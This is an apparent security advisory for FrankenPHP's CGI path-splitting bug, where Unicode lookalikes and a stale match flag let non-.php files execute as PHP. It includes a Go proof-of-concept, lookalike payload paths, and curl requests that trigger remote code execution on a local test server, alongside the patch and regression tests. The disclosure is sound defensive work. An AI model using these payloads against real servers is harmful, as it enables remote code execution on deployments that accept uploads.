FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files
Description
Summary
The splitPos() function in `cgi.go` misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.
This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.
Details
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
pathLen := len(path)
for _, split := range splitPath {
splitLen := len(split)
for i := 0; i < pathLen; i++ {
if path[i] >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break
}
if i+splitLen > pathLen {
continue
}
match := true
for j := 0; j < splitLen; j++ {
c := path[i+j]
if c >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break // <-- flaw 1: 'match' is still true
}
if 'A' <= c && c <= 'Z' {
c += 'a' - 'A'
}
if c != split[j] {
match = false
break
}
}
if match {
return i + splitLen
}
}
}
return -1
}
Flaw 1 — Control-flow: stale match after inner non-ASCII fallback
In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.
Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII
search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.
Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.
PoC
Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):
package main
import (
"fmt"
"unicode/utf8"
"golang.org/x/text/language"
"golang.org/x/text/search"
)
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
// ... splitPos copied verbatim from cgi.go ...
func main() {
split := []string{".php"}
payloads := []string{
// flaw 1
"/PoC-match-unset.txt", // expected: -1
"/PoC-match-unset.¡.txt", // expected: -1, actual: 20
// flaw 2
"/shell﹒php", // ﹒ small full stop
"/shell.php", // . fullwidth full stop
"/shell.php", // p fullwidth p
"/shell.php", // h fullwidth h
"/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled
"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold
"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script
"/shell.ⓟⓗⓟ.anything-after-payload.php",
}
for _, p := range payloads {
fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
}
}
Run go run poc.go:
/PoC-match-unset.txt : -1
/PoC-match-unset.¡.txt : 20
/shell﹒php : 12
/shell.php : 12
/shell.php : 12
/shell.php : 12
/shell.ⓟⓗⓟ : 16
/shell.𝗽𝗵𝗽 : 19
/shell.𝓅𝒽𝓅 : 19
/shell.ⓟⓗⓟ.anything-after-payload.php : 16
Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).
End-to-end demo
Directory layout:
.
├── Caddyfile # `:8080 { root * /app/public; php }`
└── public/
├── index.php
├── poc-match-unset.¡. # contains <?php echo "marker=flaw1\n"; ?>
└── poc-search-norm.𝗽𝗵𝗽 # contains <?php echo "marker=flaw2\n"; ?>
docker run --rm -d --name frankenphp-poc \
-p 18080:8080 \
-v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
-v "$(pwd)/public:/app/public" \
dunglas/frankenphp:latest
# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"
# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"
# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.
Impact
Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).
Patch
Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.
Credit
Both flaws were reported by @KC1zs4.
Affected products
1- Range: >= 1.11.2, <= 1.12.2
Patches
12d0f480329a0Merge commit from fork
5 files changed · +118 −40
caddy/go.mod+5 −5 modified@@ -84,7 +84,7 @@ require ( github.com/golang/protobuf v1.5.4 // indirect github.com/golang/snappy v1.0.0 // indirect github.com/google/brotli/go/cbrotli v1.1.0 // indirect - github.com/google/cel-go v0.28.0 // indirect + github.com/google/cel-go v0.28.1 // indirect github.com/google/certificate-transparency-go v1.3.3 // indirect github.com/google/go-tpm v0.9.8 // indirect github.com/google/go-tspi v0.3.0 // indirect @@ -121,7 +121,7 @@ require ( github.com/mschoch/smat v0.2.0 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/oasdiff/yaml v0.0.9 // indirect - github.com/oasdiff/yaml3 v0.0.12 // indirect + github.com/oasdiff/yaml3 v0.0.13 // indirect github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect github.com/pelletier/go-toml/v2 v2.3.1 // indirect github.com/perimeterx/marshmallow v1.1.5 // indirect @@ -198,7 +198,7 @@ require ( go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect go.opentelemetry.io/otel/trace v1.43.0 // indirect go.opentelemetry.io/proto/otlp v1.10.0 // indirect - go.step.sm/crypto v0.79.0 // indirect + go.step.sm/crypto v0.81.0 // indirect go.uber.org/automaxprocs v1.6.0 // indirect go.uber.org/multierr v1.11.0 // indirect go.uber.org/zap v1.28.0 // indirect @@ -217,10 +217,10 @@ require ( golang.org/x/text v0.37.0 // indirect golang.org/x/time v0.15.0 // indirect golang.org/x/tools v0.45.0 // indirect - google.golang.org/api v0.278.0 // indirect + google.golang.org/api v0.279.0 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60 // indirect - google.golang.org/grpc v1.81.0 // indirect + google.golang.org/grpc v1.81.1 // indirect google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2 // indirect google.golang.org/protobuf v1.36.11 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect
caddy/go.sum+12 −12 modified@@ -10,8 +10,8 @@ cloud.google.com/go/compute/metadata v0.9.0 h1:pDUj4QMoPejqq20dK0Pg2N4yG9zIkYGdB cloud.google.com/go/compute/metadata v0.9.0/go.mod h1:E0bWwX5wTnLPedCKqk3pJmVgCBSM6qQI1yTBdEb3C10= cloud.google.com/go/iam v1.7.0 h1:JD3zh0C6LHl16aCn5Akff0+GELdp1+4hmh6ndoFLl8U= cloud.google.com/go/iam v1.7.0/go.mod h1:tetWZW1PD/m6vcuY2Zj/aU0eCHNPuxedbnbRTyKXvdY= -cloud.google.com/go/kms v1.30.0 h1:TSEZopy/OXojbVCQS9Rrx0jFqdKWvO31+N8ncXbxG/s= -cloud.google.com/go/kms v1.30.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U= +cloud.google.com/go/kms v1.31.0 h1:LS8N92OxFDgOLg5NCo3OmbvjtQAIVT5gUHVLKIDHaFE= +cloud.google.com/go/kms v1.31.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U= cloud.google.com/go/longrunning v0.9.0 h1:0EzbDEGsAvOZNbqXopgniY0w0a1phvu5IdUFq8grmqY= cloud.google.com/go/longrunning v0.9.0/go.mod h1:pkTz846W7bF4o2SzdWJ40Hu0Re+UoNT6Q5t+igIcb8E= code.pfad.fr/check v1.1.0 h1:GWvjdzhSEgHvEHe2uJujDcpmZoySKuHQNrZMfzfO0bE= @@ -219,8 +219,8 @@ github.com/google/brotli/go/cbrotli v1.1.0 h1:YwHD/rwSgUSL4b2S3ZM2jnNymm+tmwKQqj github.com/google/brotli/go/cbrotli v1.1.0/go.mod h1:nOPhAkwVliJdNTkj3gXpljmWhjc4wCaVqbMJcPKWP4s= github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= -github.com/google/cel-go v0.28.0 h1:KjSWstCpz/MN5t4a8gnGJNIYUsJRpdi/r97xWDphIQc= -github.com/google/cel-go v0.28.0/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= +github.com/google/cel-go v0.28.1 h1:YWIwi77J4xIsYUwAF/iIuS6haffzIHS8yWI8glSbLWM= +github.com/google/cel-go v0.28.1/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= github.com/google/certificate-transparency-go v1.0.21/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg= github.com/google/certificate-transparency-go v1.3.3 h1:hq/rSxztSkXN2tx/3jQqF6Xc0O565UQPdHrOWvZwybo= github.com/google/certificate-transparency-go v1.3.3/go.mod h1:iR17ZgSaXRzSa5qvjFl8TnVD5h8ky2JMVio+dzoKMgA= @@ -321,8 +321,8 @@ github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/oasdiff/yaml v0.0.9 h1:zQOvd2UKoozsSsAknnWoDJlSK4lC0mpmjfDsfqNwX48= github.com/oasdiff/yaml v0.0.9/go.mod h1:8lvhgJG4xiKPj3HN5lDow4jZHPlx1i7dIwzkdAo6oAM= -github.com/oasdiff/yaml3 v0.0.12 h1:75urAtPeDg2/iDEWwzNrLOWxI9N/dCh81nTTJtokt2M= -github.com/oasdiff/yaml3 v0.0.12/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o= +github.com/oasdiff/yaml3 v0.0.13 h1:06svmvOHOVBqF81+sY2EUScvUI/iS/vl2VIeUUxZQwg= +github.com/oasdiff/yaml3 v0.0.13/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o= github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0= github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -536,8 +536,8 @@ go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09 go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0= go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g= go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk= -go.step.sm/crypto v0.79.0 h1:vy6i3ezAV5JokPALXWGNVcjiESjbpJgIT65t/WkhGFM= -go.step.sm/crypto v0.79.0/go.mod h1:hblLC8VVW3SnV7DE88jpdVgJHPYabIlNMMXkrbAZoUs= +go.step.sm/crypto v0.81.0 h1:e+ouzpNt3Xm4dp7HGXhgYB5y4iFik3vh3phHKWmvugU= +go.step.sm/crypto v0.81.0/go.mod h1:fsTizqQeASjTXnbv9O00XtRlIuXRkCdoRiJNyXGQujc= go.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs= go.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= @@ -647,16 +647,16 @@ golang.org/x/tools v0.45.0/go.mod h1:LuUGqqaXcXMEFEruIVJVm5mgDD8vww/z/SR1gQ4uE/0 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/api v0.278.0 h1:W7jiRvRi53VYFfZ/HoZjQBtJk7gOFbHD8ot1RzVZU6E= -google.golang.org/api v0.278.0/go.mod h1:B9TqLBwJqVjp1mtt7WeoQwWRwvu/400y5lETOql+giQ= +google.golang.org/api v0.279.0 h1:hsx2M2OaRcaKtVYK6vXEUnQvdjnend7ZYES+lYaot74= +google.golang.org/api v0.279.0/go.mod h1:B9TqLBwJqVjp1mtt7WeoQwWRwvu/400y5lETOql+giQ= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7 h1:XzmzkmB14QhVhgnawEVsOn6OFsnpyxNPRY9QV01dNB0= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:L43LFes82YgSonw6iTXTxXUX1OlULt4AQtkik4ULL/I= google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60 h1:3WsB1FAbiRIf2tOxscWKs3pQBD9he1NsrnbhMuWfekc= google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60/go.mod h1:7yoXV7RIh5gblj/xVYoogxAWvA9wUeVbpsK/M694l00= google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60 h1:seT2EwLWM78plQ7wcDfuWBc/4FAEAXDDiaSol4ku4qo= google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.81.0 h1:W3G9N3KQf3BU+YuCtGKJk0CmxQNbAISICD/9AORxLIw= -google.golang.org/grpc v1.81.0/go.mod h1:xGH9GfzOyMTGIOXBJmXt+BX/V0kcdQbdcuwQ/zNw42I= +google.golang.org/grpc v1.81.1 h1:VnnIIZ88UzOOKLukQi+ImGz8O1Wdp8nAGGnvOfEIWQQ= +google.golang.org/grpc v1.81.1/go.mod h1:xGH9GfzOyMTGIOXBJmXt+BX/V0kcdQbdcuwQ/zNw42I= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2 h1:rgSNvqscFZ1JgV/4wH5GOsZFSFkR2Eua9As3KIr2LlM= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2/go.mod h1:iMEtFwDlAhjDU9L5mY6U1XLwlIId/G3h+QcBHDIvrJ8= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
cgi.go+12 −22 modified@@ -22,8 +22,6 @@ import ( "unsafe" "github.com/dunglas/frankenphp/internal/phpheaders" - "golang.org/x/text/language" - "golang.org/x/text/search" ) // cStringHTTPMethods caches C string versions of common HTTP methods @@ -234,43 +232,35 @@ func splitCgiPath(fc *frankenPHPContext) { fc.worker = workersByPath[fc.scriptFilename] } -var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) - // splitPos returns the index where path should be split based on splitPath. // example: if splitPath is [".php"] // "/path/to/script.php/some/path": ("/path/to/script.php", "/some/path") +// +// Matching is strictly ASCII case-insensitive. Bytes >= utf8.RuneSelf in path +// never match any split entry: split strings are validated ASCII-only and +// lower-cased in WithRequestSplitPath, so any Unicode equivalence (e.g. +// fullwidth or mathematical letters folding to ASCII) would let an attacker +// upload a file whose name contains such code points and have it served as +// PHP. See GHSA-3g8v-8r37-cgjm and GHSA-v4h7-cj44-8fc8. func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 } pathLen := len(path) - // We are sure that split strings are all ASCII-only and lower-case because of validation and normalization in WithRequestSplitPath for _, split := range splitPath { splitLen := len(split) + if splitLen == 0 || splitLen > pathLen { + continue + } - for i := 0; i < pathLen; i++ { - if path[i] >= utf8.RuneSelf { - if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { - return end - } - - break - } - - if i+splitLen > pathLen { - continue - } - + for i := 0; i <= pathLen-splitLen; i++ { match := true for j := 0; j < splitLen; j++ { c := path[i+j] - if c >= utf8.RuneSelf { - if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { - return end - } + match = false break }
cgi_test.go+88 −0 modified@@ -154,6 +154,67 @@ func TestSplitPos(t *testing.T) { splitPath: []string{".php"}, wantPos: 9, }, + // Regression tests for GHSA-3g8v-8r37-cgjm: an inner non-ASCII byte + // caused the loop to break without resetting match=false, so a path + // such as "/PoC-match-unset.¡.txt" was reported as ".php" matched. + { + name: "non-ascii byte after dot must not match", + path: "/PoC-match-unset.¡.txt", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "non-ascii byte mid-extension must not match", + path: "/script.p\xc2\xa1p", + splitPath: []string{".php"}, + wantPos: -1, + }, + // Regression tests for GHSA-v4h7-cj44-8fc8: search.IgnoreCase folded + // Unicode equivalents (fullwidth, mathematical, circled letters, + // fullwidth/small full-stop) onto ASCII ".php". + { + name: "small full stop ﹒ in extension must not match", + path: "/shell﹒php", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "fullwidth full stop . in extension must not match", + path: "/shell.php", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "fullwidth p in extension must not match", + path: "/shell.php", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "circled php must not match", + path: "/shell.ⓟⓗⓟ", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "mathematical sans-serif bold php must not match", + path: "/shell.\U0001D5FD\U0001D5F5\U0001D5FD", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "mathematical script php must not match", + path: "/shell.\U0001D4C5\U0001D4BD\U0001D4C5", + splitPath: []string{".php"}, + wantPos: -1, + }, + { + name: "circled php with later real php still picks the real one", + path: "/shell.ⓟⓗⓟ.anything-after-payload.php", + splitPath: []string{".php"}, + // "/shell." (7) + "ⓟⓗⓟ" (3*3 bytes) + ".anything-after-payload.php" (27) = 43 + wantPos: 43, + }, } for _, tt := range tests { @@ -208,3 +269,30 @@ func TestSplitPosUnicodeSecurityRegression(t *testing.T) { assert.Equal(t, ".txt.php", pathInfo, "path info should be the remainder after first .php") } } + +// TestSplitPosSecurityRegressionUnicodeBypass guards against +// GHSA-3g8v-8r37-cgjm (uninitialized match flag on inner non-ASCII byte) and +// GHSA-v4h7-cj44-8fc8 (Unicode equivalence via search.IgnoreCase letting +// non-PHP files be picked up as the script). Every payload below produced a +// false positive in the vulnerable implementation; none must match here. +func TestSplitPosSecurityRegressionUnicodeBypass(t *testing.T) { + t.Parallel() + + split := []string{".php"} + payloads := []string{ + "/PoC-match-unset.¡.txt", // GHSA-3g8v: match left set after IndexString fallback returned -1 + "/shell﹒php", // U+FE52 small full stop + "/shell.php", // U+FF0E fullwidth full stop + "/shell.php", // U+FF50 fullwidth p + "/shell.php", // U+FF48 fullwidth h + "/shell.php", // U+FF50 fullwidth p (trailing) + "/shell.\U0001D5C1\U0001D5B5\U0001D5C1", // mathematical sans-serif p/h + "/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // mathematical sans-serif bold p/h + "/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // mathematical script p/h + "/shell.ⓟⓗⓟ", // circled latin small + } + + for _, p := range payloads { + assert.Equalf(t, -1, splitPos(p, split), "payload %q must not be detected as .php", p) + } +}
go.mod+1 −1 modified@@ -12,7 +12,6 @@ require ( github.com/prometheus/client_golang v1.23.2 github.com/stretchr/testify v1.11.1 golang.org/x/net v0.54.0 - golang.org/x/text v0.37.0 ) require ( @@ -64,6 +63,7 @@ require ( go.yaml.in/yaml/v3 v3.0.4 // indirect golang.org/x/crypto v0.51.0 // indirect golang.org/x/sys v0.44.0 // indirect + golang.org/x/text v0.37.0 // indirect google.golang.org/protobuf v1.36.11 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect )
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
0No linked articles in our index yet.